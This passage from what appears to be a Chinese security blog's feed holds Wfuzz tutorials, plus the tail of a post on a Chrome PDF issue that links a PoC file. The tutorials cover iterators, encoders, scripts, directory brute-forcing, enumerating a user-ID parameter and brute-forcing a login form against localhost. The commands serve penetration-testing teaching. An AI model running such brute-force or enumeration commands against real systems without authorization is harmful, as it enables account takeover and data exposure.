\/><\/p>\n\n<p>\u8c37\u6b4c\u81ea\u5df1\u5462\u65e9\u5c31\u66f4\u65b0\u8fed\u4ee3\u4e86\uff1a<\/p>\n\n<p><code>chrome-extension:\/\/mhjfbmdgcfjbbpaeojofohoefgiehjai\/pdf_viewer.js<\/code><\/p>\n\n<p><img src=\"\/images\/2018-11-14-2\/6.png\" alt=\"plugin\" \/><\/p>\n\n<p>\u7ed3\u679c\uff1a\u5f88\u5927\u6982\u7387\u548c\u6d4f\u89c8\u5668PDF\u9884\u89c8\u63d2\u4ef6\u6709\u5173\uff0c\u53ef\u80fd\u662f\u8c37\u6b4c\u5728\u4e4b\u540e\u66f4\u65b0\u5f15\u5165\u4e86\u5bf9PDF\u4e8b\u4ef6\u7684\u652f\u6301\u3002<\/p>\n\n<h1 id=\"end\">END<\/h1>\n\n<p>PoC\u4e0b\u8f7d\uff1a<a href=\"https:\/\/gh0st.cn\/file\/poc.pdf\">PoC.pdf<\/a><\/p>\n","pubDate":"2018-11-14T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-11-14\/2","guid":"https:\/\/gh0st.cn\/archives\/2018-11-14\/2"},{"title":"Wfuzz\u9ad8\u9636\u529f\u6cd5","description":"<h1 id=\"wfuzz\u9ad8\u9636\u529f\u6cd5\">Wfuzz\u9ad8\u9636\u529f\u6cd5<\/h1>\n\n<p>Author: Vulkey_Chen<\/p>\n\n<p>Blog: gh0st.cn<\/p>\n\n<h2 id=\"\u6a21\u5757\">\u6a21\u5757<\/h2>\n\n<p>\u4e4b\u524d\u4e24\u7bc7\u6587\u7ae0\u4e2d\u5df2\u7ecf\u8bb0\u5f55\u8fc7\u4e86payloads\u548cprinters\u6a21\u5757\uff0c\u6240\u4ee5\u5c31\u4e0d\u5728\u8fd9\u7ee7\u7eed\u8bb0\u5f55\u3002<\/p>\n\n<h3 id=\"iterators\">Iterators<\/h3>\n\n<p>BurpSuite\u7684<code>Intruder<\/code>\u6a21\u5757\u4e2dAttack Type\u6709Sniper(\u72d9\u51fb\u624b)\u3001Battering ram(\u649e\u51fb\u7269)\u3001Pitchfork(\u76f8\u4ea4\u53c9)\u3001Cluster bomb(\u96c6\u675f\u70b8\u5f39)\uff5e<\/p>\n\n<p>wfuzz\u4e5f\u53ef\u4ee5\u5b8c\u6210\u8fd9\u6837\u7684\u529f\u80fd\uff0c\u5c06\u4e0d\u540c\u7684\u5b57\u5178\u7684\u7ec4\u5408\u8d77\u6765\uff0c\u90a3\u5c31\u662f<code>Iterators<\/code>\u6a21\u5757\u3002<\/p>\n\n<p>\u4f7f\u7528\u53c2\u6570<code>-m \u8fed\u4ee3\u5668<\/code>\uff0cwfuzz\u81ea\u5e26\u7684\u8fed\u4ee3\u5668\u6709\u4e09\u4e2a\uff1a<code>zip<\/code>\u3001<code>chain<\/code>\u3001<code>product<\/code>\uff0c\u5982\u679c\u4e0d\u6307\u5b9a\u8fed\u4ee3\u5668\uff0c\u9ed8\u8ba4\u4e3a<code>product<\/code>\u8fed\u4ee3\u5668\u3002<\/p>\n\n<h4 id=\"zip\">zip<\/h4>\n\n<p>\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z range,0-9 -w dict.txt -m zip http:\/\/127.0.0.1\/ip.php?FUZZ=FUZ2Z\n<\/code><\/pre>\n\n<p>\u7ed3\u679c\u5982\u4e0b\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x04.png\" alt=\"0x04\" \/><\/p>\n\n<p>\u8be5\u547d\u4ee4\u7684\u610f\u601d\uff1a\u8bbe\u7f6e\u4e86\u4e24\u4e2a\u5b57\u5178\u3002\u4e24\u4e2a\u5360\u4f4d\u7b26\uff0c\u4e00\u4e2a\u662f<code>range<\/code>\u6a21\u5757\u751f\u6210\u7684<code>0\u30011\u30012\u30013\u30014\u30015\u30016\u30017\u30018\u30019 <\/code> 10\u4e2a\u6570\u5b57\uff0c\u4e00\u4e2a\u662f\u5916\u90e8\u5b57\u5178dict.txt\u76849\u884c\u5b57\u5178\uff0c\u4f7f\u7528<strong>zip\u8fed\u4ee3\u5668\u7ec4\u5408\u8fd9\u4e24\u4e2a\u5b57\u5178<\/strong>\u53d1\u9001\u3002<\/p>\n\n<p><strong>zip\u8fed\u4ee3\u5668\u7684\u529f\u80fd<\/strong>\uff1a\u5b57\u5178\u6570\u76f8\u540c\u3001\u4e00\u4e00\u5bf9\u5e94\u8fdb\u884c\u7ec4\u5408\uff0c<strong>\u5982\u679c\u5b57\u5178\u6570\u4e0d\u4e00\u81f4\u5219\u591a\u4f59\u7684\u629b\u5f03\u6389\u4e0d\u8bf7\u6c42\uff0c\u5982\u4e0a\u547d\u4ee4\u7ed3\u679c\u5c31\u662f\u6570\u5b579\u88ab\u629b\u5f03\u4e86\u56e0\u4e3a\u6ca1\u6709\u5b57\u5178\u548c\u5b83\u7ec4\u5408<\/strong>\u3002<\/p>\n\n<h4 id=\"chain\">chain<\/h4>\n\n<p>\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z range,0-9 -w dict.txt -m chain http:\/\/127.0.0.1\/ip.php?FUZZ\n<\/code><\/pre>\n\n<p>\u7ed3\u679c\u5982\u4e0b\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x05.png\" alt=\"0x05\" \/><\/p>\n\n<p>\u8be5\u547d\u4ee4\u8bbe\u7f6e\u4e86\u4e24\u4e2a\u5b57\u5178\uff0c\u4e00\u4e2a\u5360\u4f4d\u7b26FUZZ\uff0c<strong>\u4f7f\u7528chain\u8fed\u4ee3\u5668\u7ec4\u5408\u8fd9\u4e24\u4e2a\u5b57\u5178<\/strong>\u53d1\u9001\u3002<\/p>\n\n<p><strong>chain\u8fed\u4ee3\u5668\u7684\u529f\u80fd<\/strong>\uff1a\u901a\u8fc7\u8fd4\u56de\u7ed3\u679c\u5c31\u80fd\u770b\u51fa\u6765<code>chain<\/code>\u8fed\u4ee3\u5668\u7684\u529f\u80fd\u4e86\uff0c<strong>\u8fd9\u4e2a\u8fed\u4ee3\u5668\u662f\u5c06\u6240\u6709\u5b57\u5178\u5168\u90e8\u6574\u5408\uff08\u4e0d\u505a\u7ec4\u5408\uff09\u653e\u5728\u4e00\u8d77\u7136\u540e\u4f20\u5165\u5360\u4f4d\u7b26FUZZ<\/strong>\u4e2d\u3002<\/p>\n\n<h4 id=\"product\">product<\/h4>\n\n<p>\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z range,0-2 -w dict.txt -m product http:\/\/127.0.0.1\/ip.php?FUZZ=FUZ2Z\n<\/code><\/pre>\n\n<p>\u7ed3\u679c\u5982\u4e0b\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x06.png\" alt=\"0x06\" \/><\/p>\n\n<p>\u8be5\u547d\u4ee4\u7684\u610f\u601d\uff1a\u8bbe\u7f6e\u4e86\u4e24\u4e2a\u5b57\u5178\uff0c\u4e24\u4e2a\u5360\u4f4d\u7b26\uff0c\u4e00\u4e2a\u662f<code>range<\/code>\u6a21\u5757\u751f\u6210\u7684<code>0\u30011\u30012<\/code> 3\u4e2a\u6570\u5b57\uff0c\u4e00\u4e2a\u662f\u5916\u90e8\u5b57\u5178dict.txt\u76843\u884c\u5b57\u5178\uff0c\u4f7f\u7528<strong>product\u8fed\u4ee3\u5668\u7ec4\u5408\u8fd9\u4e24\u4e2a\u5b57\u5178<\/strong>\u53d1\u9001\u3002<\/p>\n\n<p><strong>product\u8fed\u4ee3\u5668\u7684\u529f\u80fd<\/strong>\uff1a\u901a\u8fc7\u8fd4\u56de\u7ed3\u679c\uff0c\u77e5\u9053\u4e86\u8bf7\u6c42\u603b\u6570\u4e3a9\uff0c\u8bf7\u6c42\u7684payload\u4ea4\u53c9\u7ec4\u5408\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x07.png\" alt=\"0x07\" \/><\/p>\n\n<h3 id=\"encoders\">Encoders<\/h3>\n\n<p>wfuzz\u4e2d<strong>encoders\u6a21\u5757<\/strong>\u53ef\u4ee5\u5b9e\u73b0\u7f16\u7801\u89e3\u7801\u3001\u52a0\u5bc6\uff0c\u5b83\u652f\u6301\u5982\u4e0b\u56fe\u4e2d\u6240\u5217\u8f6c\u6362\u529f\u80fd\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x08.png\" alt=\"0x08\" \/><\/p>\n\n<h4 id=\"\u4f7f\u7528encoders\">\u4f7f\u7528Encoders<\/h4>\n\n<p><strong>\u6b63\u5e38\u4f7f\u7528\uff1a<\/strong><\/p>\n\n<ul>\n  <li>\n    <p><code>wfuzz -z file --zP fn=wordlist,encoder=md5 URL\/FUZZ<\/code><\/p>\n\n    <p>\u770b\u8fc7\u7b2c\u4e00\u7ae0\u7684\u5e94\u8be5\u90fd\u80fd\u7406\u89e3\u610f\u601d\u4e86\uff0c\u8fd9\u91cc\u65b0\u589e\u7684\u5c31\u662f<code>encoder=md5<\/code>\uff0c\u4e5f\u5c31\u662f\u4f7f\u7528<code>Encoders<\/code>\u7684<code>md5<\/code>\u52a0\u5bc6\u3002<\/p>\n  <\/li>\n  <li>\n    <p><code>wfuzz -z file,wordlist,md5 URL\/FUZZ<\/code><\/p>\n\n    <p>\u8fd9\u91cc\u7b80\u5199\u4e86\u7b2c\u4e00\u6761\u547d\u4ee4\uff0c\u4e00\u822c\u90fd\u4f7f\u7528\u8fd9\u6761\u547d\u4ee4\u6765\u8c03\u7528Encoders<\/p>\n  <\/li>\n<\/ul>\n\n<p><strong>\u4f7f\u7528\u591a\u4e2aEncoder\uff1a<\/strong><\/p>\n\n<ul>\n  <li>\n    <p>\u591a\u4e2a\u8f6c\u6362\uff0c\u4f7f\u7528\u4e00\u4e2a<code>-<\/code>\u53f7\u5206\u9694\u7684\u5217\u8868\u6765\u6307\u5b9a<\/p>\n\n    <p><code>wfuzz -z file,dict.txt,md5-base64 http:\/\/127.0.0.1\/ip.php\\?FUZZ<\/code><\/p>\n\n    <p><img src=\"\/images\/2018-10-28\/0x09.png\" alt=\"0x09\" \/><\/p>\n  <\/li>\n  <li>\n    <p>\u591a\u6b21\u8f6c\u6362\uff0c\u4f7f\u7528\u4e00\u4e2a<code>@<\/code>\u53f7\u5206\u9694\u7684\u5217\u8868\u6765\u6309\u7167<strong>\u4ece\u53f3\u5f80\u5de6\u987a\u5e8f<\/strong>\u591a\u6b21\u8f6c\u6362\uff08\u8fd9\u91cc\u8ba9\u4f20\u5165\u7684\u5b57\u5178\u5148md5\u52a0\u5bc6\u7136\u540ebase64\u7f16\u7801\uff09<\/p>\n\n    <p><code>wfuzz -z file,dict.txt,base64@md5 http:\/\/127.0.0.1\/ip.php\\?FUZZ<\/code><\/p>\n\n    <p><img src=\"\/images\/2018-10-28\/0x10.png\" alt=\"0x10\" \/><\/p>\n  <\/li>\n<\/ul>\n\n<h3 id=\"scripts\">Scripts<\/h3>\n\n<p>\u4e4b\u524d\u8bf4\u4e86wfuzz\u652f\u6301\u63d2\u4ef6\uff0c\u5176\u672c\u8eab\u4e5f\u6709\u5f88\u591a\u63d2\u4ef6\uff0c\u63d2\u4ef6\u5927\u90e8\u5206\u90fd\u662f\u5b9e\u73b0\u626b\u63cf\u548c\u89e3\u6790\u529f\u80fd\uff0c\u63d2\u4ef6\u5171\u6709\u4e24\u5927\u7c7b\u548c\u4e00\u7c7b\u9644\u52a0\u63d2\u4ef6\uff1a<\/p>\n\n<ul>\n  <li>passive\uff1a\u5206\u6790\u5df2\u6709\u7684\u8bf7\u6c42\u548c\u54cd\u5e94\uff08\u88ab\u52a8\uff09<\/li>\n  <li>\n    <p>active\uff1a\u4f1a\u5411\u76ee\u6807\u53d1\u9001\u8bf7\u6c42\u6765\u63a2\u6d4b\uff08\u4e3b\u52a8\uff09<\/p>\n  <\/li>\n  <li>discovery\uff1a\u81ea\u52a8\u5e2e\u52a9wfuzz\u5bf9\u76ee\u6807\u7ad9\u8fdb\u884c\u722c\u53d6\uff0c\u5c06\u53d1\u73b0\u7684\u5185\u5bb9\u63d0\u4f9b\u7ed9wfuzz\u8fdb\u884c\u8bf7\u6c42<\/li>\n<\/ul>\n\n<p>Wfuzz\u9ed8\u8ba4\u81ea\u5e26\u811a\u672c\u5982\u4e0b\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x11.png\" alt=\"0x11\" \/><\/p>\n\n<h4 id=\"\u4f7f\u7528scripts\">\u4f7f\u7528Scripts<\/h4>\n\n<p>\u6211\u60f3\u4f7f\u7528<code>Scripts<\/code>\u4e2d\u7684<code>backups<\/code>\u6a21\u5757\uff0c\u53ef\u4ee5\u5148\u8bd5\u7528<code>--script-help<\/code>\u53c2\u6570\u6765\u770b\u5982\u4f55\u5173\u4e8e\u8fd9\u4e2a\u6a21\u5757\u7684\u4fe1\u606f\uff1a<\/p>\n\n<p><code>wfuzz --script-help=robots<\/code><\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x12.png\" alt=\"0x12\" \/><\/p>\n\n<p>\u4ece\u5982\u4e0a\u7ed3\u679c\u4e2d\u53ef\u4ee5\u77e5\u9053\u8fd9\u4e2a\u6a21\u5757\u4e0d\u9700\u8981\u8bbe\u7f6e\u53c2\u6570\uff0c\u8be5\u6a21\u5757\u89e3\u6790robots.txt\u7684\u5e76\u4e14\u5bfb\u627e\u65b0\u7684\u5185\u5bb9\uff0c\uff0c\u81f3\u4e8e\u5230\u5e95\u5bfb\u627e\u4ec0\u4e48\uff0c\u5c31\u9700\u8981\u52a8\u624b\u5b9e\u8df5\u4e0b\u4e86\uff5e<\/p>\n\n<p>\u5728\u672c\u5730\u5efa\u4e00\u4e2arobots.txt\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x13.png\" alt=\"0x13\" \/><\/p>\n\n<p>\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz --script=robots -z list,\"robots.txt\" http:\/\/127.0.0.1\/FUZZ\n<\/code><\/pre>\n\n<p><code>--script<\/code>\u662f\u4f7f\u7528\u811a\u672c\u6a21\u5757\u7684\u53c2\u6570\uff0c\u8fd9\u65f6\u5019\u5c31\u6709\u4e2a\u7591\u60d1\u547d\u4ee4\u4e3a\u4ec0\u4e48\u8981\u52a0\u4e0alist\u5462\uff1f\u56e0\u4e3a\u5728\u8fd9\u91cc<code>robots<\/code>\u811a\u672c\u53ea\u662f\u89e3\u6790<code>robots.txt<\/code>\u89c4\u5219\u7684\uff0c\u6240\u4ee5\u4f60\u9700\u8981\u544a\u8bc9wfuzz\u53bb\u8bf7\u6c42\u54ea\u4e2a\u6587\u4ef6\u800c\u8fd9\u91cc\u6211\u5199\u7684\u5c31\u662f<code>robots.txt<\/code>\u5c31\u53ef\u4ee5\u89e3\u6790\uff08\u5047\u8bbe http:\/\/127.0.0.1\/t.txt \u7684\u5185\u5bb9\u4e5f\u662frobots\u7684\u5c31\u53ef\u4ee5\u5199\u6210\u8fd9\u6837\u7684\u547d\u4ee4<code>wfuzz --script=robots -z list,\"t.txt\" http:\/\/127.0.0.1\/FUZZ<\/code> \uff09<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x14.png\" alt=\"0x14\" \/><\/p>\n\n<p>\u4ece\u5982\u4e0a\u56fe\u4e2d\u5f97\u77e5wfuzz\u89e3\u6790robots.txt\u7684\u5185\u5bb9\u7136\u540e\u8bf7\u6c42\u89e3\u6790\u4e4b\u540e\u83b7\u5f97\u7684\u8def\u5f84\u3002<\/p>\n\n<h4 id=\"\u81ea\u5b9a\u4e49\u63d2\u4ef6\">\u81ea\u5b9a\u4e49\u63d2\u4ef6<\/h4>\n\n<p>\u4f7f\u7528wfuzz\u53ef\u4ee5\u81ea\u5df1\u7f16\u5199wfuzz\u63d2\u4ef6\uff0c\u9700\u8981\u653e\u5728<code>~\/.wfuzz\/scripts\/<\/code>\u76ee\u5f55\u4e0b\uff0c\u5177\u4f53\u5982\u4f55\u7f16\u5199\u53ef\u4ee5\u53c2\u8003\u5df2\u6709\u7684\u63d2\u4ef6\uff1ahttps:\/\/github.com\/xmendez\/wfuzz\/tree\/master\/src\/wfuzz\/plugins\/scripts<\/p>\n\n<h2 id=\"\u6280\u5de7\">\u6280\u5de7<\/h2>\n\n<h3 id=\"recipes\">Recipes<\/h3>\n\n<p>Wfuzz\u53ef\u4ee5\u751f\u6210\u4e00\u4e2arecipes\u7528\u6765\u4fdd\u5b58\u547d\u4ee4\uff0c\u65b9\u4fbf\u4e0b\u6b21\u6267\u884c\u6216\u8005\u5206\u4eab\u7ed9\u522b\u4eba\u3002<\/p>\n\n<p>\u751f\u6210\u4e00\u4e2arecipes\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz --script=robots -z list,\"robots.txt\" --dumo-recipe outrecipe URL\/FUZZ\n<\/code><\/pre>\n\n<p>\u4f7f\u7528\u67d0\u4e2arecipes\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz --recip outrecipe\n<\/code><\/pre>\n\n<h3 id=\"\u7f51\u7edc\u5f02\u5e38\">\u7f51\u7edc\u5f02\u5e38<\/h3>\n\n<p>Wfuzz\u626b\u63cf\u7684\u65f6\u5019\u51fa\u73b0\u7f51\u7edc\u95ee\u9898\uff0c\u5982DNS\u89e3\u6790\u5931\u8d25\uff0c\u62d2\u7edd\u8fde\u63a5\u7b49\u65f6\uff0cwfuzz\u4f1a\u629b\u51fa\u4e00\u4e2a\u5f02\u5e38\u5e76\u505c\u6b62\u6267\u884c\u4f7f\u7528<code>-Z<\/code>\u53c2\u6570\u5373\u53ef\u5ffd\u7565\u8fd9\u4e9b\u9519\u8bef\u7ee7\u7eed\u6267\u884c\u3002<\/p>\n\n<p>\u51fa\u73b0\u9519\u8bef\u7684payload\u4f1a\u4ee5\u8fd4\u56de\u7801<code>XXX<\/code>\u6765\u8868\u793a\uff0c<strong>Payload\u4e2d\u8fd8\u6709\u51fa\u73b0\u7684\u9519\u8bef\u4fe1\u606f<\/strong>\u3002<\/p>\n\n<h3 id=\"\u8d85\u65f6\">\u8d85\u65f6<\/h3>\n\n<p>\u4f7f\u7528wfuzz\u626b\u63cf\u4f1a\u9047\u5230\u4e00\u4e9b\u54cd\u5e94\u5f88\u6162\u7684\u60c5\u51b5\uff0cwfuzz\u53ef\u4ee5\u8bbe\u7f6e\u8d85\u65f6\u65f6\u95f4\u3002<\/p>\n\n<p>\u53c2\u6570<code>--conn-delay<\/code>\u6765\u8bbe\u7f6ewfuzz\u7b49\u5f85\u670d\u52a1\u5668\u54cd\u5e94\u63a5\u8fde\u7684\u79d2\u6570\u3002\n\u53c2\u6570<code>--req-delay<\/code>\u6765\u8bbe\u7f6ewfuzz\u7b49\u5f85\u54cd\u5e94\u5b8c\u6210\u7684\u6700\u5927\u79d2\u6570\u3002<\/p>\n\n<h3 id=\"\u7ed3\u5408burpsuite\">\u7ed3\u5408BurpSuite<\/h3>\n\n<p>\u4eceBurp\u7684LOG\u6587\u4ef6\u4e2d\u83b7\u53d6\u6d4b\u8bd5\u7684URL\u5730\u5740\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-10-28\/0x15.png\" alt=\"0x15\" \/><\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z burplog,\"1.burp\" FUZZ\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2018-10-28\/0x16.png\" alt=\"0x16\" \/><\/p>\n\n<p>\u8fd8\u6709\u80fd\u591f\u8bfb\u53d6burpsuite\u4fdd\u5b58\u7684state\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z burpstate,a_burp_state.burp FUZZ\n<\/code><\/pre>\n\n<h3 id=\"\u8fc7\u6ee4\u5668\">\u8fc7\u6ee4\u5668<\/h3>\n\n<p>\u8fd9\u91cc\u7bc7\u5e45\u592a\u957f\uff0c\u5efa\u8bae\u7efc\u5408\u53c2\u8003 https:\/\/github.com\/xmendez\/wfuzz\/blob\/18a83606e3011159b4b2e8c0064f95044c3c4af5\/docs\/user\/advanced.rst \u5c31\u4e0d\u4e00\u4e00\u5199\u51fa\u6765\u4e86\u3002<\/p>\n","pubDate":"2018-10-28T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-10-28\/3","guid":"https:\/\/gh0st.cn\/archives\/2018-10-28\/3"},{"title":"Wfuzz\u57fa\u672c\u529f","description":"<h1 id=\"wfuzz\u57fa\u672c\u529f\">Wfuzz\u57fa\u672c\u529f<\/h1>\n\n<p>Author: Vulkey_Chen<\/p>\n\n<p>Blog: gh0st.cn<\/p>\n\n<h2 id=\"\u7206\u7834\u6587\u4ef6\u76ee\u5f55\">\u7206\u7834\u6587\u4ef6\u3001\u76ee\u5f55<\/h2>\n\n<p>wfuzz\u672c\u8eab\u81ea\u5e26\u5b57\u5178\uff1a<\/p>\n\n<pre><code class=\"language-shell\">.\n\u251c\u2500\u2500 Injections\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 All_attack.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 SQL.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 Traversal.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 XML.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 XSS.txt\n\u2502\u00a0\u00a0 \u2514\u2500\u2500 bad_chars.txt\n\u251c\u2500\u2500 general\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 admin-panels.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 big.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 catala.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 common.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 euskera.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 extensions_common.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 http_methods.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 medium.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 megabeast.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 mutations_common.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 spanish.txt\n\u2502\u00a0\u00a0 \u2514\u2500\u2500 test.txt\n\u251c\u2500\u2500 others\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 common_pass.txt\n\u2502\u00a0\u00a0 \u2514\u2500\u2500 names.txt\n\u251c\u2500\u2500 stress\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 alphanum_case.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 alphanum_case_extra.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 char.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 doble_uri_hex.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 test_ext.txt\n\u2502\u00a0\u00a0 \u2514\u2500\u2500 uri_hex.txt\n\u251c\u2500\u2500 vulns\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 apache.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 cgis.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 coldfusion.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 dirTraversal-nix.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 dirTraversal-win.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 dirTraversal.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 domino.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 fatwire.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 fatwire_pagenames.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 frontpage.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 iis.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 iplanet.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 jrun.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 netware.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 oracle9i.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 sharepoint.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 sql_inj.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 sunas.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 tests.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 tomcat.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 vignette.txt\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 weblogic.txt\n\u2502\u00a0\u00a0 \u2514\u2500\u2500 websphere.txt\n\u2514\u2500\u2500 webservices\n    \u251c\u2500\u2500 ws-dirs.txt\n    \u2514\u2500\u2500 ws-files.txt\n<\/code><\/pre>\n\n<p>\u4f46\u76f8\u5bf9<a href=\"https:\/\/github.com\/fuzzdb-project\/fuzzdb\">FuzzDB<\/a>\u548c<a href=\"https:\/\/github.com\/danielmiessler\/SecLists\">SecLists<\/a>\u6765\u8bf4\u8fd8\u662f\u4e0d\u591f\u5168\u9762\u4e0d\u591f\u5f3a\u5927\u7684\uff0c\u5f53\u7136\u5982\u679c\u6709\u81ea\u5df1\u7684\u5b57\u5178\u5217\u8868\u6700\u597d\uff5e<\/p>\n\n<p>Wfuzz\u7206\u7834\u6587\u4ef6\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -w wordlist URL\/FUZZ.php\n<\/code><\/pre>\n\n<p>Wfuzz\u7206\u7834\u76ee\u5f55\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -w wordlist URL\/FUZZ\n<\/code><\/pre>\n\n<h2 id=\"\u904d\u5386\u679a\u4e3e\u53c2\u6570\u503c\">\u904d\u5386\u679a\u4e3e\u53c2\u6570\u503c<\/h2>\n\n<p>e.g. \u5047\u5982\u4f60\u53d1\u73b0\u4e86\u4e00\u4e2a\u672a\u6388\u6743\u6f0f\u6d1e\uff0c\u5730\u5740\u4e3a\uff1ahttp:\/\/127.0.0.1\/getuser.php?uid=123 \u53ef\u83b7\u53d6uid\u4e3a123\u7684\u4e2a\u4eba\u4fe1\u606f<\/p>\n\n<p>uid\u53c2\u6570\u53ef\u4ee5\u904d\u5386\uff0c\u5df2\u77e5123\u4e3a\u4e09\u4f4d\u6570\u7eaf\u6570\u5b57\uff0c\u9700\u8981\u4ece000-999\u8fdb\u884c\u904d\u5386\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528wfuzz\u6765\u5b8c\u6210\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z range,000-999 http:\/\/127.0.0.1\/getuser.php?uid=FUZZ\n<\/code><\/pre>\n\n<p>\u4f7f\u7528payloads\u6a21\u5757\u7c7b\u4e2d\u7684<code>range\u6a21\u5757<\/code>\u8fdb\u884c\u751f\u6210\u3002<\/p>\n\n<h2 id=\"post\u8bf7\u6c42\u6d4b\u8bd5\">POST\u8bf7\u6c42\u6d4b\u8bd5<\/h2>\n\n<p>e.g. \u53d1\u73b0\u4e00\u4e2a\u767b\u5f55\u6846\uff0c\u6ca1\u6709\u9a8c\u8bc1\u7801\uff0c\u60f3\u7206\u7834\u5f31\u53e3\u4ee4\u8d26\u6237\u3002<\/p>\n\n<p>\u8bf7\u6c42\u5730\u5740\u4e3a\uff1ahttp:\/\/127.0.0.1\/login.php<\/p>\n\n<p>POST\u8bf7\u6c42\u6b63\u6587\u4e3a\uff1ausername=&amp;password=<\/p>\n\n<p>\u4f7f\u7528wfuzz\u6d4b\u8bd5\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -w userList -w pwdList -d \"username=FUZZ&amp;password=FUZ2Z\" http:\/\/127.0.0.1\/login.php\n<\/code><\/pre>\n\n<p><code>-d<\/code>\u53c2\u6570\u4f20\u8f93POST\u8bf7\u6c42\u6b63\u6587\u3002<\/p>\n\n<h2 id=\"cookie\u6d4b\u8bd5\">Cookie\u6d4b\u8bd5<\/h2>\n\n<p>\u4e0a\u6587 <strong>\u904d\u5386\u679a\u4e3e\u53c2\u6570\u503c<\/strong> \u4e2d\u8bf4\u5230\u6709\u672a\u6388\u6743\u6f0f\u6d1e\uff0c\u5047\u8bbe\u8fd9\u4e2a\u6f0f\u6d1e\u662f\u8d8a\u6743\u6f0f\u6d1e\uff0c\u8981\u505a\u6d4b\u8bd5\u7684\u80af\u5b9a\u9700\u8981\u8ba9wfuzz\u77e5\u9053\u4f60\u7684Cookie\u624d\u80fd\u505a\u6d4b\u8bd5\u3002<\/p>\n\n<p>\u5982\u4e0b\u547d\u4ee4\u5373\u53ef\u643a\u5e26\u4e0aCookie\uff1a<\/p>\n\n<pre><code class=\"language-shell\">wfuzz -z range,000-999 -b session=session -b cookie=cookie http:\/\/127.0.0.1\/getuser.php?uid=FUZZ\n<\/code><\/pre>\n\n<p><code>-b<\/code>\u53c2\u6570\u6307\u5b9aCookie\uff0c<strong>\u591a\u4e2aCookie\u9700\u8981\u6307\u5b9a\u591a\u6b21<\/strong>\uff0c\u4e5f\u53ef\u4ee5\u5bf9Cookie\u8fdb\u884c\u6d4b\u8bd5\uff0c\u4ecd\u7136\u4f7f\u7528FUZZ\u5360\u4f4d\u7b26\u5373\u53ef\u3002<\/p>\n\n<h2 id=\"http-headers\u6d4b\u8bd5\">HTTP Headers\u6d4b\u8bd5<\/h2>\n\n<p>e.g. 